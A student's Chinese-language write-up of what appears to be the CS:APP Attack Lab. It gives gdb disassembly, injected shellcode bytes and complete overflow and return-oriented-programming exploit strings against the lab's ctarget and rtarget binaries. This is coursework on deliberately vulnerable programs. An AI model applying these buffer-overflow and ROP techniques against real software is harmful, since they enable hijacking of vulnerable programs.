10225501432 邓博昊 target66
使用gdb ctarget
调试程序
使用disass <function>
获得<function>
的汇编代码
使用r -i {phase_i_raw}
带入exploit string
运行程序
ctarget
程序被调用时,执行test
函数,test
函数调用getbuf
函数
我们需要将getbuf
函数在返回时重定向到touch1
而非继续回到test
函数
1)查看test
、touch1
函数C代码
先贴出题干所给函数代码
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
void touch1() {
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
2)查看getbuf
、touch1
函数汇编代码
获取getbuf
、touch1
函数汇编代码
Dump of assembler code for function getbuf:
0x0000555555401a65 <+0>: sub $0x18,%rsp
0x0000555555401a69 <+4>: mov %rsp,%rdi
0x0000555555401a6c <+7>: call 0x555555401d05 <Gets>
0x0000555555401a71 <+12>: mov $0x1,%eax
0x0000555555401a76 <+17>: add $0x18,%rsp
0x0000555555401a7a <+21>: ret
End of assembler dump.
Dump of assembler code for function touch1:
0x0000555555401a7b <+0>: sub $0x8,%rsp
0x0000555555401a7f <+4>: movl $0x1,0x203953(%rip) # 0x5555556053dc <vlevel>
0x0000555555401a89 <+14>: lea 0x1967(%rip),%rdi # 0x5555554033f7
0x0000555555401a90 <+21>: call 0x555555400e10 <puts@plt>
0x0000555555401a95 <+26>: mov $0x1,%edi
0x0000555555401a9a <+31>: call 0x555555401f75 <validate>
0x0000555555401a9f <+36>: mov $0x0,%edi
0x0000555555401aa4 <+41>: call 0x555555400f80 <exit@plt>
End of assembler dump.
getbuf
函数开辟了24个字节的栈空间
3)构建攻击字符串
我们目前可以知道的:
运行环境为AMD64 Linux
,使用小端法,内存低位储存低位字节数
栈的生长方向向内存低位生长
getbuf
函数ret地址为%rsp+0x18
touch1
函数入口为0x0000555555401a7b
我们需要构建一个字符串,其需要满足的条件:
改变getbuf
函数ret时返回地址,使其变为0x0000555555401a7b
数字需要的字节数为24+8 = 32
位
符合小端法
字符串数据按输入顺序从低地址向高地址存储数据
无意义的字符均用0表示,我们需要构建的字符串即为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
7b 1a 40 55 55 55 00 00
将上述字符串存入phase_1.txt
4)将字符串转化为字节码并运行程序
输入以下命令即可完成touch1
./hex2raw < phase_1.txt > phase_1_raw.txt
gdb ctarget
r -i phase_1_raw.txt
任务要求ctarget
程序执行touch2
函数,而非返回test
函数
1)查看touch2
函数C代码
题干所给touch2
函数C代码如下
void touch2(unsigned val){
vlevel = 2; /* Part of validation protocol */
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
touch2
函数要求传入一个参数val
,只有val
和cookie
值相同程序才执行成功
2)查看touch2
函数汇编代码
touch
函数汇编代码如下
Dump of assembler code for function touch2:
0x0000555555401aa9 <+0>: sub $0x8,%rsp
0x0000555555401aad <+4>: mov %edi,%edx
0x0000555555401aaf <+6>: movl $0x2,0x203923(%rip) # 0x5555556053dc <vlevel>
0x0000555555401ab9 <+16>: cmp %edi,0x203925(%rip) # 0x5555556053e4 <cookie>
0x0000555555401abf <+22>: je 0x555555401aeb <touch2+66>
0x0000555555401ac1 <+24>: lea 0x1980(%rip),%rsi # 0x555555403448
0x0000555555401ac8 <+31>: mov $0x1,%edi
0x0000555555401acd <+36>: mov $0x0,%eax
0x0000555555401ad2 <+41>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401ad7 <+46>: mov $0x2,%edi
0x0000555555401adc <+51>: call 0x555555402045 <fail>
0x0000555555401ae1 <+56>: mov $0x0,%edi
0x0000555555401ae6 <+61>: call 0x555555400f80 <exit@plt>
0x0000555555401aeb <+66>: lea 0x192e(%rip),%rsi # 0x555555403420
0x0000555555401af2 <+73>: mov $0x1,%edi
0x0000555555401af7 <+78>: mov $0x0,%eax
0x0000555555401afc <+83>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401b01 <+88>: mov $0x2,%edi
0x0000555555401b06 <+93>: call 0x555555401f75 <validate>
0x0000555555401b0b <+98>: jmp 0x555555401ae1 <touch2+56>
End of assembler dump.
则touch2
函数入口地址为0x0000555555401aa9
3)构建汇编代码
实验给出的建议:
我的cookie = 0x3e8dee8f
则我们需要构建的汇编代码应该为
movq $0x3e8dee8f,%rdi
movq $0x0000555555401aa9,%rsi # 存储touch2入口地址
push %rsi
ret
将上述代码存储在phase_2_assembly.s
4)获得机械码
使用如下命令生成并反编译获得机械码
gcc -c phase_2_assembly.s -o phase_2_assembly.o
objdump -d phase_2_assembly.o > phase_2_assembly.d
打开phase_2_assembly.d
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi
7: 48 be a9 1a 40 55 55 movabs $0x555555401aa9,%rsi
e: 55 00 00
11: 56 push %rsi
12: c3 ret
则这段程序机械码为
48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3
5)构建攻击字符串
思路为:
getbuff
函数获取攻击字符串getbuff
函数返回至buff
数组起点buff
数组起点按顺序储存机械码因此我们需要查看buff
数组起点的内存地址,即%rsp
储存的内容
由Level 1中getbuf
函数汇编代码可知,getbuf
函数入口为0x0000555555401a65
使用如下命令:
gdb ctarget
b *0x0000555555401a65
r -qi phase_1_raw.txt
stepi
p &rsp
输出:
$1 = (void *) 0x55621b58
故构建如下字符串
48 c7 c7 8f ee 8d 3e 48
be a9 1a 40 55 55 55 00
00 56 c3 00 00 00 00 00
58 1b 62 55 00 00 00 00
将上述字符串储存在phase_2.txt
中
6)将字符串转化为字节码并运行程序
输入以下命令即可完成touch2
./hex2raw < phase_2.txt > phase_2_raw.txt
gdb ctarget
r -i phase_2_raw.txt
任务要求ctarget
程序执行touch3
函数,而非返回test
函数
注意touch3
函数内部调用了hexmatch
函数
1)查看touch3
、hexmatch
函数C代码
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
hexmatch需要传入cookie
值,并且需要将cookie
值以字符串形式传入
2)查看test
、touch3
函数汇编代码
Dump of assembler code for function test:
0x0000555555401c32 <+0>: sub $0x8,%rsp
0x0000555555401c36 <+4>: mov $0x0,%eax
0x0000555555401c3b <+9>: call 0x555555401a65 <getbuf>
0x0000555555401c40 <+14>: mov %eax,%edx
0x0000555555401c42 <+16>: lea 0x1877(%rip),%rsi # 0x5555554034c0
0x0000555555401c49 <+23>: mov $0x1,%edi
0x0000555555401c4e <+28>: mov $0x0,%eax
0x0000555555401c53 <+33>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401c58 <+38>: add $0x8,%rsp
0x0000555555401c5c <+42>: ret
End of assembler dump.
Dump of assembler code for function touch3:
0x0000555555401bc0 <+0>: push %rbx
0x0000555555401bc1 <+1>: mov %rdi,%rbx
0x0000555555401bc4 <+4>: movl $0x3,0x20380e(%rip) # 0x5555556053dc <vlevel>
0x0000555555401bce <+14>: mov %rdi,%rsi
0x0000555555401bd1 <+17>: mov 0x20380d(%rip),%edi # 0x5555556053e4 <cookie>
0x0000555555401bd7 <+23>: call 0x555555401b0d <hexmatch>
0x0000555555401bdc <+28>: test %eax,%eax
0x0000555555401bde <+30>: je 0x555555401c0d <touch3+77>
0x0000555555401be0 <+32>: mov %rbx,%rdx
0x0000555555401be3 <+35>: lea 0x1886(%rip),%rsi # 0x555555403470
0x0000555555401bea <+42>: mov $0x1,%edi
0x0000555555401bef <+47>: mov $0x0,%eax
0x0000555555401bf4 <+52>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401bf9 <+57>: mov $0x3,%edi
0x0000555555401bfe <+62>: call 0x555555401f75 <validate>
0x0000555555401c03 <+67>: mov $0x0,%edi
0x0000555555401c08 <+72>: call 0x555555400f80 <exit@plt>
0x0000555555401c0d <+77>: mov %rbx,%rdx
0x0000555555401c10 <+80>: lea 0x1881(%rip),%rsi # 0x555555403498
0x0000555555401c17 <+87>: mov $0x1,%edi
0x0000555555401c1c <+92>: mov $0x0,%eax
0x0000555555401c21 <+97>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401c26 <+102>: mov $0x3,%edi
0x0000555555401c2b <+107>: call 0x555555402045 <fail>
0x0000555555401c30 <+112>: jmp 0x555555401c03 <touch3+67>
End of assembler dump.
可以看出:
test
函数入口为0x0000555555401c32
touch3
函数入口为0x0000555555401bc0
3)构建汇编代码
阅读题干所给提示:
cookie
值,不需要表示开头0x
\0
结尾,所以在字符串序列的结尾是一个字节0man ascii
可以用来查看每个字符的16进制表示%rdi
寄存器内储存字符串的地址hexmatch
和strncmp
时,他们会把数据压入到栈中,有可能会覆盖getbuf
栈帧的数据,所以传进去字符串的位置必须小心谨慎因此汇编代码设计思路为:
test
函数栈空间,将该地址送入%rdi
寄存器touch3
入口地址的寄存器注意cookie
值需要转化为16进制ASCII码表示后使用
根据题目提示0x
不需要表示,并且字符串结尾为0字节,则对应ASCII码表示为
0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
我们还需要知道test函数
栈帧地址
输入以下命令查看
gdb ctarget
b *0x0000555555401c32 # test函数入口
r -qi phase_1_raw.txt
stepi
p $rsp
结果显示
$1 = (void *) 0x55621b78
因此我们需要构建的汇编代码为
movq $0x55621b78,%rdi
movq $0x0000555555401bc0,%rdx
push %rdx
ret
将上述内容储存在phase_3_assembly.s
4)获得机械码
输入以下命令获得机械码
gcc -c phase_3_assembly.s -o phase_3_assembly.o
objdump -d phase_3_assembly.o > phase_3_assembly.d
打开phase_3_assembly.d
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi
7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx
e: 55 00 00
11: 52 push %rdx
12: c3 ret
则机械码为
48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3
5)构建攻击字符串
思路为:
getbuff
函数获取攻击字符串cookie
的16进制值储存在test栈空间getbuff
函数返回至buff
数组起点buff
数组起点按顺序储存机械码buff
数组起点的内存地址由Level 2可知为0x55621b58
故构建如下字符串
48 c7 c7 78 1b 62 55 48
ba c0 1b 40 55 55 55 00
00 52 c3 00 00 00 00 00
58 1b 62 55 00 00 00 00
33 65 38 64 65 65 38 66
00
将上述字符串储存在phase_3.txt
中
6)将字符串转化为字节码并运行程序
输入以下命令即可完成touch3
./hex2raw < phase_3.txt > phase_3_raw.txt
gdb ctarget
r -i phase_3_raw.txt
题干所给信息翻译如下:
这一部分攻击rtarget程序,但是这个程序使用了两种技术防止代码注入攻击:
- 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
- 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误
所以只能利用已有的可执行的代码,来完成我们的操作,称为
retrun-oriented programming(ROP)
,策略就是找到现存代码中的若干条指令,这些指令后面跟着指令ret,每次return相当于从一个gadget跳转到另一个gadget中,然后通过这样不断跳转来完成我们想要的操作。
使用如下命令获得farm.c
的反汇编
gcc -c -Og farm.c
objdump -d farm.o > farm.d
这一关要求我们重复上一部分Level 2的攻击,但是无法对rtarget进行代码注入攻击,我们只能使用ROP攻击:利用farm.c中的程序的gadget,构造我们需要的指令,在rtarget中执行
1)选取gadgets
阅读题目提示:
因此我们需要的汇编指令为
popq %rax
movq %rax,%rdi
对应的编码为
popq %rax > 58
movq %rax,%rdi > 48 89 c7
popq %rax
对应函数为
Dump of assembler code for function getval_373:
0x0000555555401c70 <+0>: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax
0x0000555555401c75 <+5>: c3 ret
End of assembler dump.
我们得出popq %rax
指令的地址为0x0000555555401c70+0x4 =0x0000555555401c74
movq %rax,%rdi
对应函数为
Dump of assembler code for function getval_424:
0x0000555555401c84 <+0>: b8 48 89 c7 c3 mov $0xc3c78948,%eax
0x0000555555401c89 <+5>: c3 ret
End of assembler dump.
我们得出movq %rax,%rdi
指令的地址为0x0000555555401c84+0x1 =0x0000555555401c85
反汇编得touch2
函数入口为0x0000555555401aa9
2)构建攻击字符串
需要使用的地址
0x0000555555401aa9 # touch2函数入口地址
0x0000555555401c85 # 48 89 c7 movq %rax, %rdi
0x3e8dee8f # cookie
0x0000555555401c74 # 58 popq %rax
构建的phase_4.txt
如下
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
74 1c 40 55 55 55 00 00
8f ee 8d 3e 00 00 00 00
85 1c 40 55 55 55 00 00
a9 1a 40 55 55 55 00 00
3)将字符串转化为字节码并运行程序
输入以下命令即可完成touch2
./hex2raw < phase_4.txt > phase_4_raw.txt
gdb rtarget
r -i phase_4_raw.txt
这一关要求我们重复上一部分Level 3的攻击,使用ROP攻击的形式。
1)选取gadgets
阅读题目提示:
由ctarget level 3
可知,cookie
的ASCII字符串表示为
0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
因为栈地址随机,因此需要找到基准地址,此处选取%rsp
具体操作:
因此我们需要的汇编指令为
movq %rsp,%rax
movq %rax,%rdi
popq %rax
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
对应的编码、函数、地址为
movq %rsp,%rax > 48 89 e0 > addval_101 > 0x0000555555401cb3
movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c
popq %rax > 58 > getval_373 > 0x0000555555401c74
movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5
movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac
movl %ecx,%esi > 89 ce > setval_422 > 0x0000555555401cd5
lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e
movq %rax,%rdi > 48 89 c7 > getval_424 > 0x0000555555401c85
2)构建攻击字符串
需要使用的地址
0x0000555555401cb3 # movq %rsp,%rax
0x0000555555401c8c # movq %rax,%rdi
0x0000555555401c74 # popq %rax
0x48 # bias = 9*8-->0x48
0x0000555555401ca5 # movl %eax,%edx
0x0000555555401cac # movl %edx,%ecx
0x0000555555401cd5 # movl %ecx,%esi
0x0000555555401c9e # lea (%rdi,%rsi,1),%rax
0x0000555555401c85 # movq %rax,%rdi
0x0000555555401bc0 # touch3
0x3365386465653866 # hex cookie string
构建的攻击字符串为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b3 1c 40 55 55 55 00 00
8c 1c 40 55 55 55 00 00
74 1c 40 55 55 55 00 00
48 00 00 00 00 00 00 00
a5 1c 40 55 55 55 00 00
ac 1c 40 55 55 55 00 00
d5 1c 40 55 55 55 00 00
9e 1c 40 55 55 55 00 00
85 1c 40 55 55 55 00 00
c0 1b 40 55 55 55 00 00
33 65 38 64 65 65 38 66
保存为phase_5.txt
3)将字符串转化为字节码并运行程序
输入以下命令即可完成`touch23
./hex2raw < phase_5.txt > phase_5_raw.txt
gdb rtarget
r -i phase_5_raw.txt